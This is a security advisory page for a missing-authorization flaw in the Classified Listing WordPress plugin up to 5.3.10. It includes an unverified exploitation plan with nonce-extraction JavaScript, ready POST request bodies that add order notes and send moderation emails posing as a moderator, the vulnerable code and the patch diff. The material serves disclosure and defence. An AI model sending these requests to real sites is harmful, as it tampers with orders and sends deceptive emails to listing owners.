CVE-2026-7563

Classified Listing <= 5.3.10 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via add_order_note and send_email_to_user_by_moderator AJAX Actions

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
5.4.0
Patched in
1d
Time to patch

Description

The Classified Listing – AI-Powered Classified ads & Business Directory Plugin plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 5.3.10. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to add arbitrary notes to any order and trigger unsolicited notification and moderation emails to listing owners without administrative authorization.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.3.10
PublishedMay 14, 2026
Last updatedMay 15, 2026
Affected pluginclassified-listing

What Changed in the Fix

Changes introduced in v5.4.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-7563 (Classified Listing) ## 1. Vulnerability Summary **Vulnerability Type:** Missing Authorization **Target Plugin:** Classified Listing – AI-Powered Classified ads & Business Directory Plugin **Affected Versions:** <= 5.3.10 **Vulnerable Actions:** `rtcl_add…

Show full research plan

Exploitation Research Plan: CVE-2026-7563 (Classified Listing)

1. Vulnerability Summary

Vulnerability Type: Missing Authorization
Target Plugin: Classified Listing – AI-Powered Classified ads & Business Directory Plugin
Affected Versions: <= 5.3.10
Vulnerable Actions: rtcl_add_order_note and rtcl_send_email_to_user_by_moderator
Severity: Medium (CVSS 4.3)

The vulnerability exists because two AJAX handlers—add_order_note and send_email_to_user_by_moderator—fail to implement any capability checks (current_user_can). While they verify a WordPress nonce, the nonce is available to any authenticated user (Subscriber level and above). This allows a Subscriber to add arbitrary notes to any Order ID (IDOR) and trigger moderation emails for any Listing ID.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Method: POST
  • Authentication: Required (Subscriber level or higher)
  • Actions:
    • action=rtcl_add_order_note (adds notes to orders)
    • action=rtcl_send_email_to_user_by_moderator (triggers emails for listings)
  • Preconditions:
    • The attacker must be authenticated as a Subscriber.
    • For rtcl_add_order_note, the attacker needs a target post_id corresponding to an order.
    • For rtcl_send_email_to_user_by_moderator, the attacker needs a target post_id corresponding to a listing.

3. Code Flow

Case A: Arbitrary Order Note

  1. Entry Point: app/Controllers/Hooks/Comments.php registers wp_ajax_rtcl_add_order_note to add_order_note().
  2. Nonce Check: wp_verify_nonce is called using rtcl()->nonceId and rtcl()->nonceText.
  3. Missing Auth: The function immediately proceeds to extract post_id, note, and note_type from $_POST. No check is made to ensure the user is an admin or the owner of the order.
  4. Sink: $order->add_note($note, $is_customer_note, true) is called, which creates a new comment of type rtcl_order_note attached to the post_id.

Case B: Unsolicited Moderation Emails

  1. Entry Point: app/Controllers/Ajax/ListingAdminAjax.php registers wp_ajax_rtcl_send_email_to_user_by_moderator to send_email_to_user_by_moderator().
  2. Nonce Check: wp_verify_nonce is called.
  3. Missing Auth: The function proceeds to extract post_id and message.
  4. Sink: rtcl()->mailer()->emails['Listing_Moderation_Email_To_Owner']->trigger($post_id, $data) is called, sending an email to the listing owner containing the arbitrary message.

4. Nonce Acquisition Strategy

The plugin localizes the nonce into a JavaScript object named rtcl.

  1. Shortcode Identification: The plugin typically enqueues its core scripts on listing pages or the user dashboard. However, ScriptLoader.php shows that rtcl-verify-js is registered on the login page via login_enqueue_scripts, and rtcl-common is enqueued on the frontend.
  2. Strategy:
    • Log in as a Subscriber.
    • Create a simple page with the listing dashboard shortcode: [rtcl_my_account].
    • Navigate to that page.
    • Use browser_eval to extract the nonce ID and value.
  3. JS Variable Identification:
    • Inspect the rtcl object: window.rtcl.
    • The nonce key is stored in the property matching the value of rtcl()->nonceId.
    • Based on the source code in ScriptLoader.php, the localized object is rtcl.

Actionable JS Extraction:

// To find the nonce key and value
const nonceKey = Object.keys(window.rtcl).find(k => k.includes('nonce'));
const nonceValue = window.rtcl[nonceKey];
return { nonceKey, nonceValue };

5. Exploitation Strategy

Step 1: Add Arbitrary Order Note

Request:

  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=rtcl_add_order_note&post_id=123&note=UnAuthorized_Note_Added&note_type=customer&[NONCE_KEY]=[NONCE_VALUE]
    

(Replace 123 with a valid Order ID; Replace [NONCE_KEY] with the key found in step 4).

Step 2: Trigger Moderation Email

Request:

  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=rtcl_send_email_to_user_by_moderator&post_id=456&message=Your+account+is+under+review+for+malpractice.&[NONCE_KEY]=[NONCE_VALUE]
    

(Replace 456 with a valid Listing ID).

6. Test Data Setup

  1. Target Admin User: Ensure an admin user exists.
  2. Target Content:
    • Create a Listing (Post Type: rtcl_listing) as the Admin. Note its ID.
    • Create an Order (Post Type: rtcl_order) as the Admin. Note its ID.
  3. Attacker User:
    • Create a user with the subscriber role.
  4. Nonce Page:
    • Create a page at /nonce-grabber containing the shortcode [rtcl_my_account].

7. Expected Results

  • Order Note: The AJAX response should contain JSON with an html key containing the rendered list item for the new note.
  • Moderation Email: The AJAX response should contain {"error":false,"message":"Successfully sent","class":"rtcl-flash-success"}.

8. Verification Steps

Verify Order Note via WP-CLI:

# Check for comments of type 'rtcl_order_note' on the target post
wp comment list --post_id=123 --meta_key=is_customer_note

Verify Moderation Email Trigger via Database:

# Check if the notification count incremented in post meta
wp post meta get 456 _notification_by_moderator

9. Alternative Approaches

If rtcl_add_order_note fails due to strict Order object instantiation, use rtcl_delete_order_note to test for authorization. Note that delete_order_note in Comments.php (line 126) does have a capability check: current_user_can('manage_rtcl_options'). The contrast between the two functions in the same file confirms that add_order_note is the primary vulnerability.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Classified Listing plugin for WordPress is vulnerable to unauthorized data modification and email triggering due to missing capability checks in the `rtcl_add_order_note` and `rtcl_send_email_to_user_by_moderator` AJAX actions. This allows authenticated users with subscriber-level permissions or higher to add arbitrary notes to any order and send unsolicited moderation emails to listing owners.

Vulnerable Code

// app/Controllers/Hooks/Comments.php (Line 41-55)
	static function add_order_note() {
		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) || ! isset( $_POST['post_id'], $_POST['note'], $_POST['note_type'] ) ) {
			wp_die( -1 );
		}

		$post_id   = absint( $_POST['post_id'] );
		$note      = wp_kses_post( trim( wp_unslash( $_POST['note'] ) ) );
		$note_type = Functions::clean( wp_unslash( $_POST['note_type'] ) );

		$is_customer_note = ( 'customer' === $note_type ) ? 1 : 0;
		$html             = '';
		if ( $post_id > 0 ) {
			$order      = rtcl()->factory->get_order( $post_id );
			$comment_id = $order->add_note( $note, $is_customer_note, true );

---

// app/Controllers/Ajax/ListingAdminAjax.php (Line 36-46)
	function send_email_to_user_by_moderator() {
		$error = true;
		$class = 'rtcl-flash-warn';
		if ( wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
			$post_id = ! empty( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0;
			$message = ! empty( $_POST['message'] ) ? esc_textarea( $_POST['message'] ) : '';
			$post    = get_post( $post_id );
			if ( $post && $message ) {
				$data['message'] = $message;
				$is_send         = rtcl()->mailer()->emails['Listing_Moderation_Email_To_Owner']->trigger( $post_id, $data );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/classified-listing/5.3.10/app/Controllers/Ajax/ListingAdminAjax.php /home/deploy/wp-safety.org/data/plugin-versions/classified-listing/5.4.0/app/Controllers/Ajax/ListingAdminAjax.php
--- /home/deploy/wp-safety.org/data/plugin-versions/classified-listing/5.3.10/app/Controllers/Ajax/ListingAdminAjax.php	2026-04-29 05:15:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/classified-listing/5.4.0/app/Controllers/Ajax/ListingAdminAjax.php	2026-05-10 10:42:16.000000000 +0000
@@ -36,6 +36,16 @@
 	}
 
 	function send_email_to_user_by_moderator() {
+		if ( ! current_user_can( 'manage_rtcl_options' ) ) {
+			wp_send_json(
+				[
+					'error'   => true,
+					'message' => esc_html__( 'Unauthorized access!!!', 'classified-listing' ),
+					'class'   => 'rtcl-flash-warn',
+				],
+			);
+		}
+
 		$error = true;
 		$class = 'rtcl-flash-warn';
 		if ( wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/classified-listing/5.3.10/app/Controllers/Hooks/Comments.php /home/deploy/wp-safety.org/data/plugin-versions/classified-listing/5.4.0/app/Controllers/Hooks/Comments.php
--- /home/deploy/wp-safety.org/data/plugin-versions/classified-listing/5.3.10/app/Controllers/Hooks/Comments.php	2026-04-29 05:15:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/classified-listing/5.4.0/app/Controllers/Hooks/Comments.php	2026-05-10 10:42:16.000000000 +0000
@@ -49,7 +49,11 @@
 	 */
 	static function add_order_note() {
 		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) || ! isset( $_POST['post_id'], $_POST['note'], $_POST['note_type'] ) ) {
-			wp_die( -1 );
+			wp_die( - 1 );
+		}
+
+		if ( ! current_user_can( 'manage_rtcl_options' ) ) {
+			wp_die( - 1 );
 		}

Exploit Outline

The exploit targets the `/wp-admin/admin-ajax.php` endpoint. An attacker first authenticates as a Subscriber and retrieves a valid nonce from the global `rtcl` JavaScript object, which is localized on most frontend listing pages or the user dashboard. To add an arbitrary note to an order, the attacker sends a POST request with the action `rtcl_add_order_note`, the target `post_id` of an order, and the `note` content. To trigger a moderation email, the attacker sends a POST request with the action `rtcl_send_email_to_user_by_moderator`, the `post_id` of a listing, and a custom `message`. Both actions only verify the nonce and do not check if the user has the 'manage_rtcl_options' capability.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.